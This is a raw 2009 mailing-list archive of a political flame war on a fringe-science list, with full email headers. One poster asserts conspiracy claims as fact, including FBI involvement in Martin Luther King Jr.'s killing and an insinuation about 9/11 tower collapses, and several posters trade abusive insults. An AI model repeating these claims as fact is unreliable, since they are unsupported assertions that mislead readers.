King Jr. -- and the gods only know who else. Or how 2 planes dropped 3 towers in their footprints. But instead, why don't we talk about the U.S.' very own official deathsquad -- which used to report directly to Dick Cheney... and which now answers to "Barry" Obama. - -- grok. NEW US COMMANDER IN AFGHANISTAN ASSEMBLES TEAM OF ASSASSINS: - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkozByIACgkQB9bXLLhitTNdRACfTPD9WobTNZH6k4/MnQpvzJSh mN8AniijvppxAu77vStHyWJvwsBsi4Zh =aPGN -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri Jun 12 20:41:08 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5D3f175003083; Fri, 12 Jun 2009 20:41:02 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5D3f0SY003070; Fri, 12 Jun 2009 20:41:00 -0700 Resent-Date: Fri, 12 Jun 2009 20:41:00 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 12 Jun 2009 20:40:53 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Murder Inc: U.S. black ops "Dream Team" Message-ID: <20090613034053.GA2716@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Spoke, sex trade, Radon-219, Border Patrol, S-300PMU User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4373 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 615 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > My bet says they report to Kissinger. And Kissinger being a Rockefeller stooge, what does that say..?=20 - -- grok. - --=20 Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkozH8QACgkQB9bXLLhitTNNfwCeKkagCj0mWOH5CETpTiy2SvL0 xbAAnRjOR79BpEauZmq3DRE4iY0TX7Hd =3D5HkM -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat Jun 13 16:12:40 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5DNCbxc016241; Sat, 13 Jun 2009 16:12:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5DNCWVF016215; Sat, 13 Jun 2009 16:12:32 -0700 Resent-Date: Sat, 13 Jun 2009 16:12:32 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: Eu.unIcVM1l5ADwj.w0tWDsKVxUSRKrZ8sl0IYkoXud76TUbcku8Erw9x8UqNQ32FzhA.TSrXdNVh_Eekzkg4jQzG85C7tsVKrTbe.0ZatCLDRmKzb6byEAcsDJHsyaHP7MxaOvX30OYVVB4u37ItuLp50J04uAyIB6MWYhEGuggr2QZ2hBwNFUThezJ6nWTlirSWK9dnqGOG_4.jtUQgHWwCs8aVf6XU0mWlqxDHulMeC34yiAR5p7QlGe1lOpODAvP1MT9l1twXZc.eKY9uHQ93KV_iN_t1Luc_tkIvEapVKMdAu8- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Murder Inc: U.S. black ops "Dream Team" Date: Sat, 13 Jun 2009 18:12:25 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090613015546.GF9087@shell.resist.ca> In-Reply-To: <20090613015546.GF9087@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4374 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 616 On Fri, 12 Jun 2009 18:55:46 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >Since Bill Beaty wants to talk criminality -- we can talk criminality. >Sure we can. I could start with J. Edgar Hoover and the FBI secret >police being behind the assassination of Martin Luther King Jr. --- Got some proof? If you don't, then it's all just your hatred of liberty which is fueling your ire, that hatred of liberty emanating from your own emasculation, which you project onto everyone else as being responsible for all of your ills.=20 --- >and the gods only know who else. Or how 2 planes dropped 3 towers in = their >footprints. But instead, why don't we talk about the U.S.' very own >official deathsquad -- which used to report directly to Dick Cheney... >and which now answers to "Barry" Obama. --- Got some proof? If you don't, then it's all just your hatred of liberty which is fueling your ire, that hatred of liberty emanating from your own emasculation, which you project onto everyone else as being responsible for all of your ills.=20 JF =20 From vortexb-l-request@eskimo.com Sat Jun 13 17:39:56 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5E0dqZU008538; Sat, 13 Jun 2009 17:39:52 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5E0dkPC008488; Sat, 13 Jun 2009 17:39:46 -0700 Resent-Date: Sat, 13 Jun 2009 17:39:46 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 13 Jun 2009 17:39:35 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Murder Inc: U.S. black ops "Dream Team" Message-ID: <20090614003935.GB27811@shell.resist.ca> Reply-To: grok@resist.ca References: <20090613015546.GF9087@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Bruce Ivins, INS, SS, emm, HQ-6 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4375 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 617 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > On Fri, 12 Jun 2009 18:55:46 -0700, you wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > > > >Since Bill Beaty wants to talk criminality -- we can talk criminality. > >Sure we can. I could start with J. Edgar Hoover and the FBI secret > >police being behind the assassination of Martin Luther King Jr. > > --- > Got some proof? You know, I knew that at least one of you hypocrites would try that one. And there's plenty enuff proof out there, circumstantial or otherwise. However, a Hoover admission in writing from beyond the grave you will not get. Hypocrite. Why not tell me the Kennedy brothers were both whacked by "lone gunmen", while you're at it..? And maybe you'll shut up too then, about all the Establishment scientoids demanding like proof from youse all about Cold Fusion, or anything else you believe? Of course, what you're trying to get away from -- probably without even thinking it, after an entire LIFETIME of such hypocrisy -- is the incontrovertible fact that the U.S. murder machine has 'offed' *MILLIONS* of people. Openly. And THAT has LIBRARIES of proof at hand. So why don't you just fuck off, eh? I don't have to put up with demands that I cross t's and dot i's: MLK didn't walk in front of a train or anything, dimwit. The only question has ALWAYS been: 'whodunnit?'... and 'cui bono?'. > If you don't, then it's all just your hatred of liberty which is fueling > your ire, that hatred of liberty emanating from your own emasculation, > which you project onto everyone else as being responsible for all of > your ills. You're a comedian, right? I walked into gag, didn't I? > >and the gods only know who else. Or how 2 planes dropped 3 towers in their > >footprints. But instead, why don't we talk about the U.S.' very own > >official deathsquad -- which used to report directly to Dick Cheney... > >and which now answers to "Barry" Obama. > > --- > Got some proof? About 2 planes dropping 3 towers in their footprints? Man, you ARE stoopid. And deluded. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko0RscACgkQB9bXLLhitTNtTgCfce4siyjJT8cnNpuZDehk27JD Qi8Aniljsa04nHU1YG3bGlX4aWVEO0wd =dlTX -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 14 06:43:04 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5EDh1HQ008112; Sun, 14 Jun 2009 06:43:01 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5EDh1t3008101; Sun, 14 Jun 2009 06:43:01 -0700 Resent-Date: Sun, 14 Jun 2009 06:43:01 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=dWrFF6y4ZQHwREhur80wE74cKW9tiucr5UtxIf5+CxM=; b=v/MCxqFK8reMuFBo5I46aLJw2OIuEoOXbwPCYtMKvoGvQCWVAJ2jV71cYHhEZTImKX Bv+rnNviWHufrhR3X3dyBCReJJ4yXAdrzOdt84dYEaAua1dbXPr6HztVjPy1ihRz0fvz wG98Q93z8ZNPtsKz5u54+X+dfC19juLJapkZQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=bx1dE1N2QNkrEet43M/F95j+zXtk3u0AwTS6yqA25pvmwlTcgUlE+uxHIdFxyGKmCb sWs1S2GXwGSlqkYFNSwrqI7j0ptBxm4CcaffkgcpMA5EuJ0mXeLtZr1YXY7auZJk6IEX Ak7SbVfCRwPD5Cdih7DQ/AGu+xhtxoQ+NyvCw= Date: Sun, 14 Jun 2009 09:42:59 -0400 From: Pete Bogham To: vortexb-l@eskimo.com Message-Id: <20090614094259.244c9777.peatbogham@gmail.com> In-Reply-To: <4A34F4A7.2030202@pobox.com> References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> X-Mailer: Sylpheed 2.4.8 (GTK+ 2.12.9; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4376 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Jed's temporary ban... Status: RO X-Status: X-Keywords: X-UID: 618 On Sun, 14 Jun 2009 09:01:27 -0400 "Stephen A. Lawrence" wrote: > > > fznidarsic@aol.com wrote: > > I miss Jed. I hope he comes back. > > You know, when things didn't go his way at Infinite Energy, he never > > came back. > > And it may come to pass that Grok's purpose will be fulfilled: He will > have succeeded in totally disrupting the forum. How can Jed's, or anybody's, political yammering be blamed on Grok? Why not blame it on the people doing the yammering? I killfiled Grok after seeing about 2 posts from him - he was so obviously insane on the topic of politics. But he apparently fascinated others, who couldn't resist answering him, and then, each other. Anyhow, I imagine Bill Beatty's no-nonsense measures have put a stop, for some time to come, to the political crap showing up in vortex. From vortexb-l-request@eskimo.com Sun Jun 14 17:43:38 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5F0hZqq014412; Sun, 14 Jun 2009 17:43:36 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5F0hZu3014403; Sun, 14 Jun 2009 17:43:35 -0700 Resent-Date: Sun, 14 Jun 2009 17:43:35 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <4ef7d4df77.4df774ef7d@ncf.ca> Date: Sun, 14 Jun 2009 20:43:34 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4377 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Long Video about Basic Income Status: O X-Status: X-Keywords: X-UID: 619 Video explaining basic income. 1.5 hours. In german with English subtitles but only the first 60% is translated. (BTW This is neat site where video's can be posted and translated.) Harry From vortexb-l-request@eskimo.com Sun Jun 14 18:24:11 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5F1O8hv000416; Sun, 14 Jun 2009 18:24:08 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5F1O8cd000408; Sun, 14 Jun 2009 18:24:08 -0700 Resent-Date: Sun, 14 Jun 2009 18:24:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 14 Jun 2009 18:24:01 -0700 From: grok To: vortexb-l@eskimo.com Cc: peatbogham@gmail.com Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... Message-ID: <20090615012400.GA4645@shell.resist.ca> Reply-To: grok@resist.ca References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090614094259.244c9777.peatbogham@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: IMF, B-Team, guided missile =?utf-8?Q?frig?= =?utf-8?B?YXRlLCBGYWxjw7NuLA==?= booby-traps User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4378 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 620 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 And the U.S. is full of smug, hypokritikal jerx like you. Which is why I'm really, really hoping the Depression will come quickly and start 'touching' youse's asses. I really do. Your type needs to be brought down low, something fierce. Murderous empire. Pin-headed "middle-class"... - -- grok. As the smoke cleared, Pete Bogham mounted the barricade and roared out: > On Sun, 14 Jun 2009 09:01:27 -0400 > "Stephen A. Lawrence" wrote: > > > > > > > fznidarsic@aol.com wrote: > > > I miss Jed. I hope he comes back. > > > You know, when things didn't go his way at Infinite Energy, he never > > > came back. > > > > And it may come to pass that Grok's purpose will be fulfilled: He will > > have succeeded in totally disrupting the forum. > > How can Jed's, or anybody's, political yammering be blamed on > Grok? Why not blame it on the people doing the yammering? > > I killfiled Grok after seeing about 2 posts from him - he was so > obviously insane on the topic of politics. But he apparently > fascinated others, who couldn't resist answering him, and then, > each other. > > Anyhow, I imagine Bill Beatty's no-nonsense measures have put a > stop, for some time to come, to the political crap showing up in > vortex. > - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko1orAACgkQB9bXLLhitTOTWQCfTktjZit+JnUNSkUlZHFPuvr2 0v8AnR778RZKOKFDwSBxZLf0IsMLp9K8 =7i46 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 14 18:46:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5F1kHr1020285; Sun, 14 Jun 2009 18:46:21 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5F1kHE6020278; Sun, 14 Jun 2009 18:46:17 -0700 Resent-Date: Sun, 14 Jun 2009 18:46:17 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=BjpgTsTtNJumQ0TJlfNaXaNT+bloke6cWgb9QUx4qEY=; b=b4q2T9c9sW7Fun42gEurizI1YveqbpsRNIm4/vLy9sTdTm0Tm13sUbATxyTFKa9XKt 7/UvFJzFEVTSHvAdz8EcsZYjtA//GX+0cT5bjTux7ocfPfK7zkYMrKZM2jgSwR/V2r6z hG91jz92UdaqozQegJEICZxjbO/EK/GFsT57Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=kZMz22ZXBhEYQHNWOWzo/oaCGixxh7T4xCIynWt6loVV0LUqWhGQwxP0BxHvp0Wz+a DzQ+alJCCzlU1dv9hQe2F/7CkLofO7/457q0GbCOe41Tv7Y9jlQQn1PkTd6aYhZZ+K2q nV4ZVQ0ZUYLVmhGsFL1BA1Kllc1b+7m9HULiE= MIME-Version: 1.0 In-Reply-To: <20090615012400.GA4645@shell.resist.ca> References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> <20090615012400.GA4645@shell.resist.ca> From: Charles HOPE Date: Sun, 14 Jun 2009 21:45:45 -0400 Message-ID: <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5bded0c98de046c5939aa Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4379 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 621 --001636c5bded0c98de046c5939aa Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable After 150 years of disappointment and failure, hey, I'd be bitter too. Let us know when you'd like to join, like, every other Communist in inevitable surrender to liberalism. On Sun, Jun 14, 2009 at 9:24 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > And the U.S. is full of smug, hypokritikal jerx like you. Which is why > I'm really, really hoping the Depression will come quickly and start > 'touching' youse's asses. I really do. Your type needs to be brought > down low, something fierce. > > Murderous empire. Pin-headed "middle-class"... > > > - -- grok. > > > > > As the smoke cleared, Pete Bogham > mounted the barricade and roared out: > > > On Sun, 14 Jun 2009 09:01:27 -0400 > > "Stephen A. Lawrence" wrote: > > > > > > > > > > > fznidarsic@aol.com wrote: > > > > I miss Jed. I hope he comes back. > > > > You know, when things didn't go his way at Infinite Energy, he neve= r > > > > came back. > > > > > > And it may come to pass that Grok's purpose will be fulfilled: He wi= ll > > > have succeeded in totally disrupting the forum. > > > > How can Jed's, or anybody's, political yammering be blamed on > > Grok? Why not blame it on the people doing the yammering? > > > > I killfiled Grok after seeing about 2 posts from him - he was so > > obviously insane on the topic of politics. But he apparently > > fascinated others, who couldn't resist answering him, and then, > > each other. > > > > Anyhow, I imagine Bill Beatty's no-nonsense measures have put a > > stop, for some time to come, to the political crap showing up in > > vortex. > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAko1orAACgkQB9bXLLhitTOTWQCfTktjZit+JnUNSkUlZHFPuvr2 > 0v8AnR778RZKOKFDwSBxZLf0IsMLp9K8 > =3D7i46 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5bded0c98de046c5939aa Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable After 150 years of disappointment and failure, hey, I'd be bitter too. = Let us know when you'd like to join, like, every other Communist in ine= vitable surrender to liberalism.



On Sun, Jun 14, 2009 at 9:24 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


And the U.S. is full of smug, hypokritikal jerx like you. Which is why
I'm really, really hoping the Depression will come quickly and start 'touching' youse's asses. I really do. Your type needs to be br= ought
down low, something fierce.

Murderous empire. Pin-headed "middle-class"...


- -- grok.




As the smoke cleared, Pete Bogham <peatbogham@gmail.com>
mounted the barricade and roared out:

> On Sun, 14 Jun 2009 09:01:27 -0400
> "Stephen A. Lawrence" <salaw@pobox.com> wrote:
>
> >
> >
> > fznidarsic@aol.com wrot= e:
> > > I miss Jed. =A0I hope he comes back.
> > > You know, when things didn't go his way at Infinite Ener= gy, he never
> > > came back.
> >
> > And it may come to pass that Grok's purpose will be fulfilled= : =A0He will
> > have succeeded in totally disrupting the forum.
>
> How can Jed's, or anybody's, political yammering be blamed on<= br> > Grok? Why not blame it on the people doing the yammering?
>
> I killfiled Grok after seeing about 2 posts from him - he was so
> obviously insane on the topic of politics. But he apparently
> fascinated others, who couldn't resist answering him, and then, > each other.
>
> Anyhow, I imagine Bill Beatty's no-nonsense measures have put a > stop, for some time to come, to the political crap showing up in
> vortex.
>

- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAko1orAACgkQB9bXLLhitTOTWQCfTktjZit+JnUNSkUlZHFPuvr2
0v8AnR778RZKOKFDwSBxZLf0IsMLp9K8
=3D7i46
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5bded0c98de046c5939aa-- From vortexb-l-request@eskimo.com Sun Jun 14 18:53:12 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5F1rBcE006670; Sun, 14 Jun 2009 18:53:11 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5F1rA2u006659; Sun, 14 Jun 2009 18:53:10 -0700 Resent-Date: Sun, 14 Jun 2009 18:53:10 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=Z6cUoFSPVimbgo94RHxxJbljzaD16n5B1uDOUytXmWY=; b=L79orG209N8bmxaLFSktIHj09pu1cfN5rYlZLFB+RCSDYtCZVC++ImJn5TfJ83ImW+ nEVboS+iwZUlRY5rhV3q+0bW+E4IylxYm5Tx2qWfXH+lzKdRXjqZmfXde472cwemhDSX UohycyyCGjwdS1GkLzHYnKLDaAjXMTu3W25Kg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=N37mk/mbyHZEtJEsewSQi9yBbKGeaKwbxmZMJNGiE+7aco3Bn1isNhs+CwrcoLntLM yZcvhAPBej+v3XUF+nkrfqTOPzksnjzQphm2NTCsnncDxtGazbCCIJ6AfCxq7D/rTHBN s2LAotn38ZkzgU4eK6hk1HQSXzYhnwTKUvnAI= MIME-Version: 1.0 In-Reply-To: <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> References: <605903.53013.qm@web30201.mail.mud.yahoo.com> <8CBBAB36035E442-E90-1509@webmail-me06.sysops.aol.com> <4A34F4A7.2030202@pobox.com> <20090614094259.244c9777.peatbogham@gmail.com> <20090615012400.GA4645@shell.resist.ca> <63ffa6020906141845i6f8aac54rb14c6965d1f765a2@mail.gmail.com> From: John Berry Date: Mon, 15 Jun 2009 13:52:51 +1200 Message-ID: Subject: Re: [VoB]:Re: [Vo]:Jed's temporary ban... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636e907290919e2046c595247 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4380 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 622 --001636e907290919e2046c595247 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Ok Charles, I've got to call you on your creepy-ass signature, WTF? I don'= t get it? I mean is it pro nuclear annihilation? On Mon, Jun 15, 2009 at 1:45 PM, Charles HOPE wrote: > > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > --001636e907290919e2046c595247 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Ok Charles, I've got to call you on your creepy-ass signature, WTF?=A0 = I don't get it?=A0 I mean is it pro nuclear annihilation?


On Mon, Jun 15, 2009 at 1:45 PM, Charles HOPE <lookslike= iwasright@gmail.com> wrote:

Never did I s= ee a second sun
Never did my skin touch a land of glass
Never did my = rifle point but true
But in a land empty of enemies
Waiting for the tick-tick-tick of the wan= t
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew

--001636e907290919e2046c595247-- From vortexb-l-request@eskimo.com Sun Jun 14 19:03:37 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5F23Yb0009170; Sun, 14 Jun 2009 19:03:35 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5F23Y6p009153; Sun, 14 Jun 2009 19:03:34 -0700 Resent-Date: Sun, 14 Jun 2009 19:03:34 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=S+aiXfuJ2Q+JodX9HWT9eRpy1DZZYkzRWfOhq+cuA3s=; b=X2IkT123uUZhDOA98tH/fhzdDfyXVkWFDvf7+3AH8/3Tfb6Zv5AIWtVXAYs6aW4/Zu 3CxynrKDqlQexx+yP6iIFyTnkSsUnzZTfH4CXis9VXxwkxEiB1dXLP/41hUs/HKm8Y6N T65evj16ZU+zRzd7CtFkug7Ek6p2Wju33cS6Q= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=NUBuOUBvfoFvDG8fetf9LJS+7asOgjzmTB/hrWHLwyy1OxLSnVqefDBTBeVXmdHvyi 